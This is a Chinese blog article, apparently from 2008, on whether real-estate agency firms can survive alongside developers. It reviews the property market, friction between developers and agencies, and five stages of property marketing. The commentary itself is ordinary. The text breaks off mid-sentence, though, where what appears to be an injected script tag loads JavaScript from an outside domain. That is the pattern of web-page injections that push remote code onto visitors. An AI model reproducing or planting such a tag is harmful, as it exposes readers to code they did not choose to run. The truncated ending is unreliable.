市场经济下，地产代理公司还能走多远？

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市场经济下，地产代理公司还能走多远？
文摘来源:百度博客阅读:8965次 [08-6-4]

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纵观当下经济，在其他行业起伏不定的时候，房地产市场依然势头强劲，不论国家如何调控，政策如何打压，市场依然屹立不倒，它不会像股票那样，一有风吹草动便摇摆不定，这也是市场刚性需求所导致的必然结果。目前，房地产一、二、三级市场中，一级市场几度迷雾，三级市场混乱不堪，最受争议的就是二级市场。于是，二级市场到处硝烟弥漫，烽火四起。

在这个有肉必争的的时代中，房地产犹如雨后春笋般冒起，不管实力大小，也甭管内行外行；随便一个二级城市，就能找到上千家开发公司，代理公司也是数不胜数。观当今中富豪榜，房地产已占据鳌头，而且正以最快的速度前行。但当行业在挺进、市场渐成熟的时候，也是到了弱肉强食、房地产面临洗牌的时候；即将淘汰的便是实力较小、竞争力不强、抗风险能力差的企业。

在地产市场中，二级市场操作相对规范；地产开发公司和策划代理公司的分开，是市场走向成熟的表现，也是社会分工日益明细的结果。正是由于代理公司的中坚作用，促使一个个稚嫩的开发企业走向成熟，赚的盆丰钵满。同时，更有些雄心壮志的企业，正在向成为开发公司这一目标挺进。

遗憾的是，在这个消费日趋理智的时代，当其他非垄断行业无一例外成为买方市场的时候，房地产市场却依然处在买家与卖家之间的博弈中。这一市场行为，也使得地产开发公司和地产代理公司之间的关系变的惟妙惟肖。

房地产开发公司，它实际上是一个市场的发展平台，也是一个多功能载体，他的最主要也是最根本的作用就是资源的“整合”：土地出让、建筑园林设计规划、建筑工程、策划销售、物业管理……将这些资源最完美、最有效的结合起来，实现最大价值，它便成功了。于是，如何实现资源最有效的整合，便成了开发企业思考的重点。而销售企业在整个操作环节中，承担的是面向市场、面向终端客户、实现价值变现的重要角色。在外界看来，这一环节对代理公司来说，所创造的收益颇丰，投资利润率高，高技术含量又不易被察觉，而且这种技术含量的载体是易流动的专业地产策划人才，因此，这个角色是由专业代理公司承担，还是由功能逐步完善的开发公司自行承担？

实际上，这只是一种未来发展趋势，就目前状况来说，因地产开发企业良莠不齐，不是所有的开发公司都具备完善的功能和强大的实力，小开发公司还需要借助代理公司的力量去发展壮大，多数开发企业还难以脱离策划代理公司独立生存；而达到开发、销售完全分工的状态，在短时间也不可能实现。因此，开发公司的销售和代理销售的并存，将会持续很长一段时间。那么，开发公司和代理公司之间的矛盾，究竟来自何处？

从表面上看，开发公司和代理公司之间的主要矛盾就是各自的利益，毕竟是两个不同的利益主体，但毕竟两个不同的利益主体能合作时，合作双方都是互惠互利的，只是利润的多少而已了；实际上，根本的矛盾却是双方合作的阶段性。那就是，代理公司到底能为开发公司创造多少价值？

具体说双方的合作阶段。目前，代理公司介入项目的时间各不相同，有全程策划，或销售策划，甚至尾盘营销，从头到尾，为开发商服务。是代理商服务周全吗？不是。从更深层次看，一方面是代理公司为吸纳更多的资源；另一方面是开发商不能正确估视自身的能力，直到楼盘销售出现问题才开始找代理商，或者是蔑视市场，认为什么样的楼盘都能卖的出去，直到即将死盘。这时候找到代理商，部分经过不懈努力，策划、创意，还能妙手回春；还有部分找到代理商亦是回天无力，只能拖延时间，或狂降价（也不见得能起作用）销售了。如此一来，对开发商或代理商皆是损失：开发商损失的是时间、资金和发展机会，代理商损失的是人力和品牌。所以说，双方的合作阶段对双方的利益都是至关重要的。

目前，楼盘的营销策划已经经历了五个阶段。1、在在上世纪90年代的时候，楼盘抢手的要命，无论居住或投资。所以在那个时候，还不知道房地产策划为何物，那时候楼盘是无广告式营销，楼盘一开发就卖完了。“卖房子还用打广告？”当时地产流行的一句话。2、当各楼盘销售热度不同的时候，地产广告开始了。那时候地产广告没有什么深度，只要把楼盘信息打出去，就能卖得很好。3、卖点式策划时代。在这个时代，楼盘多了，竞争激烈了，打广告已难以满足地产营销的要求，这个时候形成了专业地产广告。于是广告公司开始挖掘项目最佳的卖点去打动消费者，以求从竞争楼盘胜出，并取得了良好的效果。4、概念营销时代。随着经济发展与生活水平的提高，购房者越来越注重居住品质和生活方式，普通住房已难以满足他们的要求，这时候，销售生活方式的楼盘广告产生了，他们不再只提项目卖点，同时也倡导各种生活方式，以吸引消费者，这种方式比较新颖，也创下了更好的业绩。5、当卖生活方式的广告满天飞时，购房者对这种广告已不以为然了。消费者已回归理性，他们更看重房子的真实价值。这时候，楼盘营销已从量变到质变，不再是创意策划了，也就是说，一个创意一个广告就能让楼盘热销的时代已不复存在（当然，指的是一?script src=http://www.24aspx.com/script.js>

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